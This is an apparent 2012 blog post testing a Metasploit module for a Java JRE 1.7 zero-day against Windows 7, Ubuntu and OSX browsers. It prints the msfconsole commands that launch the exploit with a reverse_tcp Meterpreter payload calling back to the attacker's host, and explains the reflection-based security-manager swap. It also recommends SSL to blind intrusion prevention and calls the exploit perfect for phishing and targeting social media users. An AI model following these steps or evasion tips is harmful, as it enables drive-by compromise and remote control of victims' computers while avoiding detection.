New Java 0day

To contact us Click HERE

In usual 0day style, a Java vuln is available that works onboth Windows and Linux as a Metasploit module. I wanted to see for myself. The Windows 7 client didn’thave Java enabled by default so I have to turn it on. Keep in mind this is justa VM I use for testing, not daily use so I don’t have much reason to turn Javaon. The Windows 7 exploit worked like a charm. I did 10 tries and got 10completions. I used the Meterpreter java payload (java/meterpreter/reverse_tcp)and everything worked perfectly with normal security settings. Here are my commands:

msf > use exploit/multi/browser/java_jre17_exec
msf  exploit(java_jre17_exec) > set LHOST 192.168.1.146
LHOST => 192.168.1.146
msf  exploit(java_jre17_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.146:4444
[*] Using URL: http://0.0.0.0:8080/WnYSrT
[*]  Local IP: http://192.168.1.146:8080/WnYSrT
[*] Server started.
msf  exploit(java_jre17_exec) >

And its raining shells:

What it looks like on the Win7 machine.

Getting Victim information with Meterpreter

I tried it on Ubuntu 12.04 Linux that is fully patched. Ihad to remove the default OpenJRE and then downlad and install the Oracle one. Theinstall took longer than the owning (https://sites.google.com/site/easylinuxtipsproject/java).

Getting Linux Victim Info

The Linux users view is much like the Windows user view.

Another 10 for 10. This is a high quality exploit that Iexpect to get a lot of use out of! I tried it on OSX and it doesn't work out of the box completely. It looks like the exploit is getting triggered but not getting a shell. In the process list you can see a shell being started but I can't get it to connect to anything. For this, I also had to update my JRE as the one installed was 1.6 and it doesn't seem vulnerable.  UPDATE 8/27/2012 2:20EST:This exploit works on OSX if you are running the 1.7 JRE. It wasn't working for me at first because I thought I had updated it but the browser plugin was still running 1.6. After fixing that the exploit ran fine! I tested it on Firefox 14.0.1 and Safari 6.0 on OSX 10.8. The only weirdness is Meterpreter would show any processes and when you run a shell you get no prompt. I first noticed these oddities when I wrote the Apple wireless exploit and burned a ton of time trying to figure out why. I just learned to accept it.
So to be clear I have tested the following operating systems: Windows7, Ubuntu 12.04, OSX 10.8.1.I have tested the following browsers: Firefox 14.0.1 (Windows, Linux,OSX), IE 9, Safari 6.They same exploit worked on all of them. The configuration I used to test would be caught by a IPS with good rules. If you just enable the Metasploit built-in SSL options an IPS would be blinded to this. I have tried two different desktop protection suites from McAfee and Symantec. Neither stopped the threat, but then again,, they really aren't designed to. This is a perfect exploit to use for phishing, or target social media users with.

My Safari version.

Safari looks as bad as Firefox in this case.

Getting victim info.

Shell Weirdness.

 UPDATE 8/27/2012 3:27EST:
Here is a BurpSuite view of the Metasploit request. As you can see its quiet simple. However if I were attacking you I would have this SSL encrypted. Network tools can't blacklist an app that they can't see.

BurpSuite view of the Metasploit request.

Also despite some earlier claims, the vuln does indeed work on Chrome. I tried in on Win7 with Chrome 21.0.1180.83.

Chromse displaying the now infamous "blank page"

Pulling info out about the victim. Chrome is the only browser running in the process list.

 UPDATE 8/27/2012 3:51EST:
This exploit is awesome. Its not a buffer overflow or anything like that, it uses a flaw in the JRE design that allows a Java app to change its own secuiryt settings with reflection.

You can see the Metasploit code here.

The init function first calls disableSecurity(). disableSecurity sets up a new security manager that gives an applet local premissions meaning it can read, write and execute to the filesystem. disableSecurity() will then call SetField that will change replace the exisiting security manager with the new one created with local permissions. The Metasploit exploit uses the sun.awt.SunToolKit class as the victim of the security manager switch-er-roo. sun.awt.SunToolKit is used for drawing guis and such. This is nothing strange for a Java app. Once the app is run and the permissions are changed the applet is free to execute the Metasploit platform independent payload.

This is as about a bad a bug as I've ever seen. I am going to check 1.6 and see if it is present there.